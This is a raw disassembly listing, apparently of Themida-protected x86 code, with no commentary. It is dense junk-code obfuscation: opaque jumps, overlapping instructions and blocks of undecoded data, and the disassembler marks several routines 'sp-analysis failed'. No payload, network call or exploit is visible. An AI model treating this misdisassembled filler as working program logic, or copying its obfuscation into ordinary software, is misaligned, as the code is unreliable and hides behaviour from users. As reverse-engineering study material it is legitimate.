		shl	byte ptr ds:0BB136690h,	0C7h
		enter	0FFFFE3CEh, 0B0h


loc_5FE6A5:				; CODE XREF: Themida_:005FE693p
		mov	ds:666655D5h, eax
		mov	esi, edi
		pop	edi
		jmp	loc_5FE6C4
; ---------------------------------------------------------------------------
		dw 4D7Dh
		dd 60FE183Bh, 0C4ABBCB7h, 0D2DC6B4Bh, 9705A595h
; ---------------------------------------------------------------------------


loc_5FE6C4:				; CODE XREF: Themida_:005FE6ADj
		mov	dx, bx
		mov	bx, 7BD1h
		mov	dx, 0A5ABh
		mov	al, ch
		mov	dh, 95h
		jmp	loc_5FE6E3
; ---------------------------------------------------------------------------
		dd 8D936AA2h, 0A7332619h
; ---------------------------------------------------------------------------
		jmp	ecx
; ---------------------------------------------------------------------------
		db 66h
; ---------------------------------------------------------------------------


loc_5FE6E3:				; CODE XREF: Themida_:005FE6D3j
		pusha
		and	cx, 4B0Dh
		popa
		mov	bx, ax
		mov	ax, 394Ch
		cld
		stc
		jmp	loc_5FE703
; ---------------------------------------------------------------------------
		dd 6EBA3CD9h, 0B5B91CDAh
; ---------------------------------------------------------------------------
		ja	short loc_5FE715
		cli


loc_5FE703:				; CODE XREF: Themida_:005FE6F3j
		or	cx, 0A784h
		mov	ecx, edi
		jmp	loc_5FE71D
; ---------------------------------------------------------------------------
		dec	ebx
		mov	esi, 86400CDAh


loc_5FE715:				; CODE XREF: Themida_:005FE700j
		pop	esi
		inc	esp
		mov	ds:0D6BA5400h, al
; ---------------------------------------------------------------------------
		db 12h
; ---------------------------------------------------------------------------


loc_5FE71D:				; CODE XREF: Themida_:005FE70Aj
		xor	esi, 6089F3EDh
		or	ebx, 52691C88h
		stc
		mov	bh, 4Ah
		push	ecx
		cmc
		pop	ebx
		jl	near ptr loc_5FE74A+4
		call	near ptr locret_5FE746+2
		jnz	short loc_5FE74A
		mov	eax, 31DA9599h
		mov	edi, 0B4F3B093h

locret_5FE746:				; CODE XREF: Themida_:005FE735p
		retf	0BA50h
; ---------------------------------------------------------------------------
		db 1Dh
; ---------------------------------------------------------------------------


loc_5FE74A:				; CODE XREF: Themida_:005FE73Aj
					; Themida_:005FE72Fj
		sbb	eax, 0F55B4D1Bh
		mov	eax, 1063F9F0h
		jle	loc_5FE75F
		adc	si, 8376h


loc_5FE75F:				; CODE XREF: Themida_:005FE754j
		cmc
		mov	ecx, 272B2FC0h
		jmp	loc_5FE771
; ---------------------------------------------------------------------------
		dw 1CFAh
		dd 3519BAD9h
		db 85h
; ---------------------------------------------------------------------------


loc_5FE771:				; CODE XREF: Themida_:005FE765j
		jmp	loc_5FE789
; ---------------------------------------------------------------------------
		dw 0D33Bh
		dd 2460D564h, 43AB19A8h, 9490A37Dh, 234591ADh
; ---------------------------------------------------------------------------
		stosb


loc_5FE789:				; CODE XREF: Themida_:loc_5FE771j
		mov	al, 61h
		movzx	edx, bx
		cld
		mov	bx, 2A52h
		mov	bx, 0F6Fh
		jnb	loc_5FE7AC
		jmp	loc_5FE7AC
; ---------------------------------------------------------------------------
		dw 2CE6h
		dd 0AD315863h, 64CB702Ch
; ---------------------------------------------------------------------------


loc_5FE7AC:				; CODE XREF: Themida_:005FE797j
					; Themida_:005FE79Dj
		jle	$+6
		mov	edi, eax
		jmp	loc_5FE7C0
; ---------------------------------------------------------------------------
		db 0EDh, 87h, 35h
		dd 86E91A23h
; ---------------------------------------------------------------------------


loc_5FE7C0:				; CODE XREF: Themida_:005FE7B4j
		jnb	loc_5FE7CC
		and	ebx, 56790CB5h


loc_5FE7CC:				; CODE XREF: Themida_:loc_5FE7C0j
		cmc
		mov	cx, bx
		movzx	esi, dx
		call	sub_5FE7DE
		inc	edi
		lock push cs
; ---------------------------------------------------------------------------
		db 8Dh
		db 0E6h, 64h

; =============== S U B	R O U T	I N E =======================================



sub_5FE7DE	proc near		; CODE XREF: Themida_:005FE7D3p
		mov	ax, 0A110h
		pop	eax
		pusha
		clc
		jnz	loc_5FE7F0
		or	di, 26AFh


loc_5FE7F0:				; CODE XREF: sub_5FE7DE+7j
		popa
		mov	ebx, edi
		mov	eax, esi
		cld
		jle	loc_5FE803
		push	ebx
		mov	esi, 5F073B22h
		pop	edx


loc_5FE803:				; CODE XREF: sub_5FE7DE+18j
		stc
		xor	esi, 1DC8E689h
		call	near ptr loc_5FE81C+1
		fnstcw	word ptr ds:38B3FB58h
		adc	al, [ebx-46A49FCEh]
		stosb


loc_5FE81C:				; CODE XREF: sub_5FE7DE+2Cp
		xor	[ecx+5C1BB0E9h], al
sub_5FE7DE	endp ; sp-analysis failed

		jl	short near ptr loc_5FE882+1
		jz	$+6
		mov	dx, 3E38h
		jmp	loc_5FE846
; ---------------------------------------------------------------------------
		db 4Dh
		dd 0C3D68D7Eh, 0CB777D2Fh, 7DB32EADh, 32AC66D3h
		db 43h,	0BAh
; ---------------------------------------------------------------------------


loc_5FE846:				; CODE XREF: Themida_:005FE82Ej
		movsx	ebx, bx
		ja	loc_5FE855
		sub	edi, 78E96FFh


loc_5FE855:				; CODE XREF: Themida_:005FE849j
		call	sub_5FE867
		mov	edx, 546DB872h
		mov	cl, 42h
		shl	byte ptr [eax+esi*8-3Bh], 1
		push	cs
		dec	eax

; =============== S U B	R O U T	I N E =======================================



sub_5FE867	proc near		; CODE XREF: Themida_:loc_5FE855p
		mov	esi, 32A97D88h
		pop	ecx
		jmp	loc_5FE881
; ---------------------------------------------------------------------------
		dw 1970h
		dd 0E1783763h, 0A526B3E9h, 0E9EB28E8h
		db 0D5h
; ---------------------------------------------------------------------------


loc_5FE881:				; CODE XREF: sub_5FE867+6j
		push	ebx


loc_5FE882:				; CODE XREF: Themida_:005FE822j
		mov	dl, 4Bh
		pop	ebx
		push	eax
		push	edx
		jmp	loc_5FE893
; ---------------------------------------------------------------------------
		dd 4756C630h
		db 8Fh,	3Ah, 1
; ---------------------------------------------------------------------------


loc_5FE893:				; CODE XREF: sub_5FE867+20j
		pop	esi
		pop	eax
		jno	loc_5FE8A9
		jmp	loc_5FE8A9
; ---------------------------------------------------------------------------
		dd 72B3F565h, 0B59BC557h
		db 21h
; ---------------------------------------------------------------------------


loc_5FE8A9:				; CODE XREF: sub_5FE867+2Ej
					; sub_5FE867+34j
		jz	loc_5FE8B4
		mov	esi, 6736F8BDh


loc_5FE8B4:				; CODE XREF: sub_5FE867:loc_5FE8A9j
		clc
		sub	esi, 63EE07D1h
		mov	ecx, 2C82246Fh
		push	esi
		mov	esi, edi
		pop	edx
		push	eax
		jmp	loc_5FE8D0
; ---------------------------------------------------------------------------
		dw 2FEAh
		dd 43E0213Ah
; ---------------------------------------------------------------------------


loc_5FE8D0:				; CODE XREF: sub_5FE867+5Ej
		pop	ecx
		mov	ecx, edi
		mov	di, 1BFBh
		cmc
		cld
		sbb	bx, 114Fh
		jno	loc_5FE8ED
		jbe	loc_5FE8ED
		mov	dx, ax


loc_5FE8ED:				; CODE XREF: sub_5FE867+77j
					; sub_5FE867+7Dj
		mov	edx, 6F6A8674h
		call	sub_5FE90B
		db	2Eh
		lea	eax, [esi-2D2C16BFh]
		adc	ah, ds:3A380BEAh
		add	al, 0B7h
		mov	al, 77h
		movsb
		push	eax
		inc	edi
sub_5FE867	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5FE90B	proc near		; CODE XREF: sub_5FE867+8Bp
		mov	cl, bh
		pop	esi
		cld
		cld
		mov	dl, al
		push	esi
		mov	cx, si
		pop	ecx
		push	ecx
		mov	si, cx
		pop	ebx
		jmp	loc_5FE92D
; ---------------------------------------------------------------------------
		db 0A6h, 97h, 7Eh
		dd 0C58B8697h, 66048BB7h
		db 0DFh
; ---------------------------------------------------------------------------


loc_5FE92D:				; CODE XREF: sub_5FE90B+11j
		mov	esi, 45E39DD6h
		movsx	esi, bx
		xor	dx, 5E63h
		call	near ptr loc_5FE943+3
		xor	edx, [ebx]
		xchg	eax, esi
		xchg	eax, ecx


loc_5FE943:				; CODE XREF: sub_5FE90B+2Fp
		sbb	[edi+ecx*8+11E9h], al
sub_5FE90B	endp ; sp-analysis failed

		add	dh, bl
		shr	dl, 18h
		mov	bh, 0E4h
		imul	eax, edi, 38h
		lds	esi, ss:333E4396h
		pop	eax
		clc
		jle	loc_5FE96C
		pusha
		jo	$+6
		popa


loc_5FE96C:				; CODE XREF: Themida_:005FE95Ej
		sbb	bx, 0A69h
		jz	loc_5FE97A
		add	ah, 0D2h


loc_5FE97A:				; CODE XREF: Themida_:005FE971j
		jmp	loc_5FE98F
; ---------------------------------------------------------------------------
		db 0A5h
		dd 6C4C559Bh, 0D94FCB89h, 0CAC265BBh
		db 9Eh,	1Fh, 24h
; ---------------------------------------------------------------------------


loc_5FE98F:				; CODE XREF: Themida_:loc_5FE97Aj
		jg	loc_5FE99B
		and	edx, 141F06Bh


loc_5FE99B:				; CODE XREF: Themida_:loc_5FE98Fj
		cld
		jle	loc_5FE9A5
		movsx	ebx, dx


loc_5FE9A5:				; CODE XREF: Themida_:005FE99Cj
		mov	ecx, edx
		movsx	ebx, si
		mov	cx, si
		jg	$+6
		sbb	eax, 4ACB2416h
		mov	al, 3Dh
		or	ax, 633Fh
		cld
		sbb	edi, 36A22442h
		jmp	loc_5FE9DB
; ---------------------------------------------------------------------------
		dd 653F91C7h, 5AE2E95Eh, 0AE8DC6E9h
; ---------------------------------------------------------------------------
		sbb	byte ptr [esi],	31h


loc_5FE9DB:				; CODE XREF: Themida_:005FE9C7j
		add	esi, 7E2EC648h
		mov	dh, 46h
		mov	eax, 531774A3h
		jno	$+6
		movsx	edx, cx
		mov	eax, esi
		movsx	ebx, ax
		jno	loc_5FEA15
		jmp	loc_5FEA15
; ---------------------------------------------------------------------------
		db 0D1h, 68h, 0C5h
		dd 0BE0A3076h, 3F14CC0Bh, 4D19E20Eh, 6E939D1Fh
		db 11h
; ---------------------------------------------------------------------------


loc_5FEA15:				; CODE XREF: Themida_:005FE9F6j
					; Themida_:005FE9FCj
		jmp	loc_5FEA2C
; ---------------------------------------------------------------------------
		dw 0DE14h
		dd 1AC215D8h, 0C9873132h, 0A821F2A4h, 53CBDD2Ch
; ---------------------------------------------------------------------------


loc_5FEA2C:				; CODE XREF: Themida_:loc_5FEA15j
		jp	loc_5FEA38
		sbb	ebx, 59DA17D1h


loc_5FEA38:				; CODE XREF: Themida_:loc_5FEA2Cj
		mov	di, si
		call	near ptr loc_5FEA45+1
		popf
		in	eax, 0A5h	; Interrupt Controller #2, 8259A
		aad	47h


loc_5FEA45:				; CODE XREF: Themida_:005FEA3Bp
		test	[esi-7Fh], ah
		ficom	dword ptr [esi]
		or	eax, 6B03BB5Ah
		mov	al, ds:0C6B70F69h
		mov	dx, 555h
		jmp	loc_5FEA6B
; ---------------------------------------------------------------------------
		db 0D1h, 62h, 0A3h
		dd 0D75BC68Fh, 34488642h
		db 3Eh,	0BEh, 57h
; ---------------------------------------------------------------------------


loc_5FEA6B:				; CODE XREF: Themida_:005FEA58j
		movzx	ecx, dx
		clc
		movzx	edi, bx
		mov	ecx, esi
		mov	edi, ecx
		mov	ebx, 118D66F6h
		sbb	bx, 805Fh
		jmp	loc_5FEA8D
; ---------------------------------------------------------------------------
		db 46h,	50h, 9
		dd 0EF4D69E5h
		db 6Dh
; ---------------------------------------------------------------------------


loc_5FEA8D:				; CODE XREF: Themida_:005FEA80j
		jno	loc_5FEA97
		mov	dx, 0BBFBh


loc_5FEA97:				; CODE XREF: Themida_:loc_5FEA8Dj
		jmp	loc_5FEAAD
; ---------------------------------------------------------------------------
		dd 0CCE1B46h, 0B99BC994h, 2201D86Ah, 8316534Ch
; ---------------------------------------------------------------------------
		push	ss


loc_5FEAAD:				; CODE XREF: Themida_:loc_5FEA97j
		movzx	esi, bx
		cld
		jbe	loc_5FEABC
		mov	eax, 66921D4Ch


loc_5FEABC:				; CODE XREF: Themida_:005FEAB1j
		jnb	loc_5FEAC6
		mov	di, 1D6Bh


loc_5FEAC6:				; CODE XREF: Themida_:loc_5FEABCj
		add	al, 0DFh
		mov	ah, bl
		mov	eax, ecx
		or	ch, 31h
		movsx	ebx, si
		sub	edx, 719C2A08h
		mov	edx, 29055A4Ah
		mov	ebx, edi
		call	near ptr sub_5FEAF2
; ---------------------------------------------------------------------------
		db 16h,	0BAh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5FEB2A


loc_5FEAE7:				; CODE XREF: sub_5FEB2A+20j
		mov	al, ds:89B37Ah
		jnz	short near ptr loc_5FEB0A+3
		mov	ch, 7Dh
		mov	ch, 0D3h
; END OF FUNCTION CHUNK	FOR sub_5FEB2A

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5FEAF2	proc far		; CODE XREF: Themida_:005FEAE0p
		sub	cx, 0D1AEh
		pop	ecx
		sbb	ah, 0D1h
		push	ecx
		pusha
		jmp	loc_5FEB0A
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		or	[esi+612C8C9Ch], ebx
		retf
; ---------------------------------------------------------------------------


loc_5FEB0A:				; CODE XREF: sub_5FEAF2+Bj
					; sub_5FEB2A-3Ej
		js	$+6
		popa
		pop	edi
		mov	cx, 0FD52h
		xor	si, 3827h
		movzx	edx, di
		call	sub_5FEB2A
		push	edi
		movsd
		dec	edi
		adc	esi, edx
		cmpsb
		hlt
sub_5FEAF2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5FEB2A	proc near		; CODE XREF: sub_5FEAF2+2Cp

; FUNCTION CHUNK AT 005FEAE7 SIZE 0000000B BYTES

		ja	loc_5FEB33
		sbb	ah, 26h


loc_5FEB33:				; CODE XREF: sub_5FEB2Aj
		pop	ecx
		push	ebx
		mov	edi, 266372DCh
		pop	eax
		jo	loc_5FEB44
		mov	si, dx


loc_5FEB44:				; CODE XREF: sub_5FEB2A+11j
		call	near ptr loc_5FEB53+2
		push	ebx
		jnb	short loc_5FEAE7
		stosd
		xor	eax, 1CD7A5EFh
		inc	esp


loc_5FEB53:				; CODE XREF: sub_5FEB2A:loc_5FEB44p
		mov	eax, 0DE8B667Fh
sub_5FEB2A	endp ; sp-analysis failed

		pop	edx
		mov	edx, 31CDC040h
		jmp	loc_5FEB71
; ---------------------------------------------------------------------------
		cwde
		sahf
		pop	ebp
		and	al, 0D7h
		lds	ebx, [ebx]
		inc	edi
		cmp	cl, [ecx+57AB6DD9h]


loc_5FEB71:				; CODE XREF: Themida_:005FEB5Ej
		stc
		pusha
		push	eax
		pop	ecx
		jmp	loc_5FEB82
; ---------------------------------------------------------------------------
		dw 4C50h
		dd 0FDF30719h
		db 0A5h, 0BDh
; ---------------------------------------------------------------------------


loc_5FEB82:				; CODE XREF: Themida_:005FEB75j
		popa
		jmp	loc_5FEB96
; ---------------------------------------------------------------------------
		dd 9E226BC1h, 0CD4D867h, 0ABE2E03Ah
		db 0F2h, 8Eh
; ---------------------------------------------------------------------------


loc_5FEB96:				; CODE XREF: Themida_:005FEB83j
		xor	dh, 30h
		pusha
		adc	bl, 4Ch
		popa
		jnp	loc_5FEBB6
		jmp	loc_5FEBB6
; ---------------------------------------------------------------------------
		db 82h,	0F8h, 74h
		dd 72F8F081h, 0E542447Eh
; ---------------------------------------------------------------------------
		aam	0DBh


loc_5FEBB6:				; CODE XREF: Themida_:005FEB9Ej
					; Themida_:005FEBA4j
		mov	dx, 704Ah
		mov	bx, 8016h
		jmp	loc_5FEBD2
; ---------------------------------------------------------------------------
		db 0ECh
		dd 3E2865B9h, 5CAB744Ah, 1CF02560h
		db 0EFh, 62h
; ---------------------------------------------------------------------------


loc_5FEBD2:				; CODE XREF: Themida_:005FEBBEj
		jmp	loc_5FEBE4
; ---------------------------------------------------------------------------
		db 0Ch
		dd 0B8403E7Eh, 95E1ACCBh, 116048F2h
; ---------------------------------------------------------------------------


loc_5FEBE4:				; CODE XREF: Themida_:loc_5FEBD2j
		mov	ecx, 5FCE1B08h
		mov	esi, 379110h
		xor	eax, 562BB082h
		add	edi, 31E23E90h
		mov	ecx, edx
		or	bl, 2
		add	bx, 6B78h
		mov	si, 0FB60h
		mov	cx, 87C8h
		mov	al, 5Eh
		mov	cx, 0A9F4h
		sbb	bx, 1C9Ch
		mov	cx, dx
		add	al, 0AAh
		clc
		jmp	loc_5FEC33
; ---------------------------------------------------------------------------
		db 33h
		dd 3BE15A6Ah, 0D8BCD6FCh, 9BF3A513h
; ---------------------------------------------------------------------------
		sub	esp, [edi-21h]


loc_5FEC33:				; CODE XREF: Themida_:005FEC1Ej
		add	di, 502Fh
		jmp	loc_5FEC4B
; ---------------------------------------------------------------------------
		db 0CFh, 0F5h, 95h
		dd 0AFB16B2Eh, 61EDFC08h
		db 2 dup(7Ah), 0A5h
; ---------------------------------------------------------------------------


loc_5FEC4B:				; CODE XREF: Themida_:005FEC38j
		adc	edi, 3313D05Dh
		mov	dx, 8B71h
		jmp	loc_5FEC6A
; ---------------------------------------------------------------------------
		dw 0B441h
		dd 0E1D366D0h, 2EE53CF2h, 9FCFE33Bh
		db 7Ch,	6Bh
; ---------------------------------------------------------------------------


loc_5FEC6A:				; CODE XREF: Themida_:005FEC55j
		ja	loc_5FEC73
		mov	ax, dx


loc_5FEC73:				; CODE XREF: Themida_:loc_5FEC6Aj
		stc
		call	near ptr loc_5FEC7C+2
		jle	short near ptr loc_5FEC84+1
		pushf


loc_5FEC7C:				; CODE XREF: Themida_:005FEC74p
		cmp	[ebp+66595950h], dh
		mov	ecx, esi


loc_5FEC84:				; CODE XREF: Themida_:005FEC79j
		mov	edx, 8860973h
		mov	esi, edx
		mov	si, 53B2h
		movsx	edx, di
		pusha
		call	near ptr loc_5FECA8+1
		adc	[esp+eax], eax
		leave
		stosd
		adc	ebp, [esi+3F062128h]
		sbb	byte ptr [edx-71h], 17h
		push	eax


loc_5FECA8:				; CODE XREF: Themida_:005FEC93p
		lock mov bl, cl
		pop	eax
		jmp	loc_5FECC0
; ---------------------------------------------------------------------------
		db 94h,	5Fh, 72h
		dd 0EC65456Bh, 27C9D8A2h, 7F4F41F4h
; ---------------------------------------------------------------------------


loc_5FECC0:				; CODE XREF: Themida_:005FECACj
		popa
		jmp	loc_5FECD1
; ---------------------------------------------------------------------------
		dw 0FE96h
; ---------------------------------------------------------------------------
		push	esi
		scasd
		daa
		mov	ch, [edx+11EF2123h]


loc_5FECD1:				; CODE XREF: Themida_:005FECC1j
		mov	edi, esi
		push	ebx
		mov	al, dl
		pop	ecx
		jge	loc_5FECDE
		cmc


loc_5FECDE:				; CODE XREF: Themida_:005FECD7j
		mov	bl, 0F8h
		movzx	ecx, ax
		sbb	cx, 0C44Fh
		jnz	loc_5FECF2
		mov	ax, 1A17h


loc_5FECF2:				; CODE XREF: Themida_:005FECE8j
		jge	loc_5FECFA
		mov	eax, ebx


loc_5FECFA:				; CODE XREF: Themida_:loc_5FECF2j
		clc
		mov	ebx, eax
		movsx	edx, dx
		sbb	bl, 34h
		ja	loc_5FED0F
		or	ecx, 72B45B28h


loc_5FED0F:				; CODE XREF: Themida_:005FED03j
		jmp	loc_5FED22
; ---------------------------------------------------------------------------
		dd 0E47CCAB8h, 95E868DEh, 6E8A3h
		db 0C8h, 31h
; ---------------------------------------------------------------------------


loc_5FED22:				; CODE XREF: Themida_:loc_5FED0Fj
		mov	di, bx
		mov	esi, edx
		mov	ax, 0FC81h
		jp	loc_5FED33
		mov	cl, 0C2h


loc_5FED33:				; CODE XREF: Themida_:005FED2Bj
		jo	loc_5FED52
		jmp	loc_5FED52
; ---------------------------------------------------------------------------
		dw 1539h
		dd 158BB6A9h, 1BE08953h, 8372A7D0h, 362662D2h
; ---------------------------------------------------------------------------
		sub	esi, [eax]


loc_5FED52:				; CODE XREF: Themida_:loc_5FED33j
					; Themida_:005FED39j
		clc
		or	ebx, 601C9174h
		mov	si, 0B568h
		jo	loc_5FED66
		movzx	eax, si


loc_5FED66:				; CODE XREF: Themida_:005FED5Dj
		mov	edx, esi
		jmp	loc_5FED7E
; ---------------------------------------------------------------------------
		db 9Dh,	72h, 11h
		dd 54E1DD72h, 0FB40F795h, 6837539Bh
		db 0FBh, 23h
; ---------------------------------------------------------------------------


loc_5FED7E:				; CODE XREF: Themida_:005FED68j
		mov	esi, 775E8A6Fh
		xor	ecx, 1C86EE55h
		xor	edx, 59571608h
		sbb	esi, 6CD14401h
		cld
		mov	eax, 3064F02Bh
		call	near ptr loc_5FEDAA+1
		mov	cl, 8Ch
		xor	esp, [ebp+2DEE9953h]
		and	ecx, edx


loc_5FEDAA:				; CODE XREF: Themida_:005FED9Bp
		call	far ptr	73A8h:5CF8E281h
		pop	ecx
		call	near ptr loc_5FEDBA+8
		fcomp	qword ptr [edi-36h]


loc_5FEDBA:				; CODE XREF: Themida_:005FEDB2p
		imul	eax, [esi+ecx*8-0B080619h], 0D7816611h
		jz	short loc_5FEDFD
		pop	edx
		mov	ax, 0D26h
		xor	cl, 79h
		movzx	edi, ax
		or	ax, 265h
		jns	loc_5FEDE2
		xor	dx, 1F57h


loc_5FEDE2:				; CODE XREF: Themida_:005FEDD7j
		mov	bh, dl
		xor	edi, 0D1F6D4Ah
		mov	dx, cx
		jge	$+6
		xor	ch, 23h
		mov	ax, 0B28Bh
		and	bh, 9Eh


loc_5FEDFD:				; CODE XREF: Themida_:005FEDC5j
		pusha
		jmp	loc_5FEE0E
; ---------------------------------------------------------------------------
		db 19h
		dd 80415F39h, 0F1B7FBCCh
		db 0A4h, 1Ah
; ---------------------------------------------------------------------------


loc_5FEE0E:				; CODE XREF: Themida_:005FEDFEj
		mov	cx, 49FEh
		popa
		movzx	eax, si
		sbb	bh, 79h
		sbb	cx, 0CEE7h
		sub	ah, 0FEh
		push	edx
		jp	loc_5FEE2A
		mov	ch, bh


loc_5FEE2A:				; CODE XREF: Themida_:005FEE22j
		pop	edi
		mov	bl, 21h
		jmp	loc_5FEE37
; ---------------------------------------------------------------------------
		dw 6D6Ch
		db 20h,	25h, 0B0h
; ---------------------------------------------------------------------------


loc_5FEE37:				; CODE XREF: Themida_:005FEE2Dj
		push	eax
		jmp	loc_5FEE44
; ---------------------------------------------------------------------------
		db 14h,	0C5h, 7Ah
		dd 5256ABE6h
; ---------------------------------------------------------------------------


loc_5FEE44:				; CODE XREF: Themida_:005FEE38j
		pop	eax
		cld
		adc	ecx, 7B4251A8h	; CODE XREF: Themida_:005FEE8Fj
		add	bx, 0BF94h
		push	edi
		movsx	eax, ax
		pop	esi
		call	near ptr loc_5FEE64+1
		shl	byte ptr [ecx-64607B18h], 1
		daa
		dec	ax


loc_5FEE64:				; CODE XREF: Themida_:005FEE56p
		adc	al, 66h
		mov	edx, 665AB066h
		add	edx, 666022D2h
		mov	edx, ecx
		jg	loc_5FEE7B
		push	edx
		pop	ecx


loc_5FEE7B:				; CODE XREF: Themida_:005FEE73j
		popa
		mov	ah, dl
		movsx	esi, di
		call	near ptr loc_5FEE8F+1
		test	al, 0E0h
		inc	eax
		or	ch, [esi]
		push	edx
		jno	short near ptr loc_5FEE9C+1
		xchg	eax, edi


loc_5FEE8F:				; CODE XREF: Themida_:005FEE81p
		loope	near ptr loc_5FEE46+1
		cmp	eax, 8EBE6658h
		lea	eax, [eax-75F0F13Fh]


loc_5FEE9C:				; CODE XREF: Themida_:005FEE8Cj
		add	al, 0
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		mov	ax, 0B5h
		mov	dh, 0BDh
		mov	dh, al
		stc
		mov	si, cx
		cld
		pusha
		jmp	loc_5FEEBF
; ---------------------------------------------------------------------------
		db 4Fh
		dd 0A56DDB35h, 504DB0EDh
		db 0B6h, 0FCh, 83h
; ---------------------------------------------------------------------------


loc_5FEEBF:				; CODE XREF: Themida_:005FEEAEj
		mov	bh, 0B4h
		popa
		jmp	loc_5FEED1
; ---------------------------------------------------------------------------
		db 1Ah
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0C6h, 0Fh, 92h
		dd 4095DF8Fh
		db 69h
; ---------------------------------------------------------------------------


loc_5FEED1:				; CODE XREF: Themida_:005FEEC2j
		mov	dl, 0B6h
		jmp	loc_5FEEEC
; ---------------------------------------------------------------------------
		dd 0AA5693C5h, 7A9895E7h, 0EEAF677Bh, 0BF30F16Bh, 99CF0D58h
; ---------------------------------------------------------------------------


loc_5FEEEC:				; CODE XREF: Themida_:005FEED3j
		pusha
		cld
		mov	ecx, eax
		popa
		mov	di, 597Fh
		xor	edi, 564040B9h
		call	near ptr loc_5FEF05+1
		xor	eax, 66A0362Dh


loc_5FEF05:				; CODE XREF: Themida_:005FEEFBp
		and	ebp, ecx
		adc	al, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 99h
		dd 0EC604D40h, 0A7ECD80Fh, 3C607D6Eh, 0D38E80F3h, 0E8F55849h
		dd 5, 17CC5CB7h, 0D7F0B907h, 0E9596736h, 0Eh, 166131C4h
		dd 9D75EE11h, 5670E121h, 8B661FB9h, 0F9CB8AD0h,	8B66F78Bh
		dd 830FF9h, 66000000h, 14CDD881h, 7E8F9h, 456B0000h, 0D8A2EC65h
		dd 0E95FF5C9h, 0Fh, 8A042F94h, 0A3374469h, 0F87342D2h
		dd 0F96FEF9Fh, 8BC68B66h, 0BE9F0h, 0A40A0000h, 3B95B005h
		dd 7D0F3700h, 0AF12BE97h, 8B665462h, 0BE8FCD8h,	6A000000h
		dd 1E6446DFh, 352F2BA3h, 0D281E03Bh, 6FC129E1h,	0BB9EB658h
		dd 10388016h, 9C5BB66h,	0AE9h, 44CF6200h, 7B9A1C4Dh, 0F4BDA47h
		dd 68Fh, 92C78100h, 660C125Bh, 605218BAh, 0E281CF8Bh, 5875FE14h
		dd 0EE861h, 0AA120000h,	3754FB5Bh, 0AC0C6633h, 32D0A030h
		dd 0F5F78B1h, 38Fh, 0E4E98000h,	13E8h, 0BDB64300h, 60767591h
		dd 123F88BFh, 5A61CD90h, 0C0CC6B6h, 12E9h, 3F4B5800h, 0E69A09FFh
		dd 707B7D4Bh, 4B6BB8E0h, 5F2BD1C0h, 5E982B0h, 0AE000000h
		dd 0B035824Fh, 12E8h, 3EBAEC00h, 0B6EE40E4h, 419D5532h
		dd 23BCEFD6h, 50FDFF53h, 5EC2BF0Fh, 91BE665Ah, 51EE817Ah
		dd 0F43E1B5h, 18B1DFBFh, 8E960h, 8E800000h, 5F0F49D3h
		dd 0F861CE47h, 5820Fh, 81660000h, 60E4A9D3h, 51DBBF0Fh
		dd 6E8h, 0EB52B800h, 585BA5ABh,	7FB9615Ah, 66298ACEh, 850FC68Bh
		dd 5, 0E0EA8166h, 0C1B70F07h, 5E50F98Bh, 13E8h,	0C03EFE00h
		dd 87B6FD8Ah, 0A03CBF34h, 26667D6Ch, 0E24713B2h, 0DACB8051h
		dd 0F5565A5Fh, 22B86659h, 0B8B96679h, 0FCA4BFB3h, 12E81487h
		dd 32000000h, 6136AC2Ah, 0F4259CADh, 5F23684Fh,	2C8B1F0Bh
		dd 8B666056h, 0CABF0FD6h, 0E9505B61h, 9, 784AEADAh, 0F04E443Ah
		dd 60FC5E8Fh, 6061FA8Bh, 6667E180h, 615D43BFh, 6FAAB966h
		dd 98C58060h, 8F0Fh, 0E9610000h, 0Bh, 4C1BEC0Ch, 4EBF76FAh
		dd 0B0A74F79h, 5840FFAh, 0B9000000h, 5FA68C91h,	3880Fh
		dd 8B660000h, 978FBAC7h, 0DA8A623Fh, 0DDBBD0B2h, 0BA470493h
		dd 196B0424h, 0E0816652h, 6059B0C0h, 3820Fh, 0B70F0000h
		dd 615A56DFh, 58C0Fh, 69BA0000h, 0E936B6DBh, 10h, 152925ABh
		dd 0B1077759h, 0E13C8EB3h, 1E94EB05h, 0E6EA8160h, 61368D9Dh
		dd 8166C3B6h, 806BA7CEh, 0BF0FABDBh, 6E9D8h, 548A0000h
		dd 5C936E4h, 6810Fh, 8C0F0000h,	0
; ---------------------------------------------------------------------------
		or	ch, 31h
		movsx	esi, dx
		push	esi
		jmp	loc_5FF1E7
; ---------------------------------------------------------------------------
		dd 80CA04EFh, 95D3DA3Fh, 0D135CD9Ch, 7B0625C6h
		db 63h,	59h, 85h
; ---------------------------------------------------------------------------


loc_5FF1E7:				; CODE XREF: Themida_:005FF1CFj
		pop	esi
		add	si, 6861h
		pusha
		jge	loc_5FF1F9
		and	bx, 516Ch


loc_5FF1F9:				; CODE XREF: Themida_:005FF1EEj
		clc
		popa
		sbb	edi, 89AC9E7h
		mov	di, 0DC92h
		movsx	edi, di
		jmp	loc_5FF21A
; ---------------------------------------------------------------------------
		db 7Fh,	6Bh, 10h
		dd 16199D1Dh, 0CB76AE39h
		db 32h,	98h
; ---------------------------------------------------------------------------


loc_5FF21A:				; CODE XREF: Themida_:005FF208j
		js	loc_5FF233
		push	edi
		jmp	loc_5FF232
; ---------------------------------------------------------------------------
		dw 9D0Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 3Ch,	0C4h, 8Ah
		dd 696C2C29h
; ---------------------------------------------------------------------------
		inc	esi
		pop	esi


loc_5FF232:				; CODE XREF: Themida_:005FF221j
		pop	edx


loc_5FF233:				; CODE XREF: Themida_:loc_5FF21Aj
		mov	bh, 56h
		push	edx
		mov	dl, 0A5h
		pop	eax
		mov	si, ax
		or	ax, 833h
		add	bl, 82h
		mov	dl, 39h
		jmp	loc_5FF254
; ---------------------------------------------------------------------------
		db 21h
		dd 79785F1Ah, 0D1CBABC1h
; ---------------------------------------------------------------------------


loc_5FF254:				; CODE XREF: Themida_:005FF246j
		pusha
		jmp	loc_5FF264
; ---------------------------------------------------------------------------
		movsb
		db	2Eh
		add	al, 0DBh
		xor	cl, [eax+4A5F5C58h]


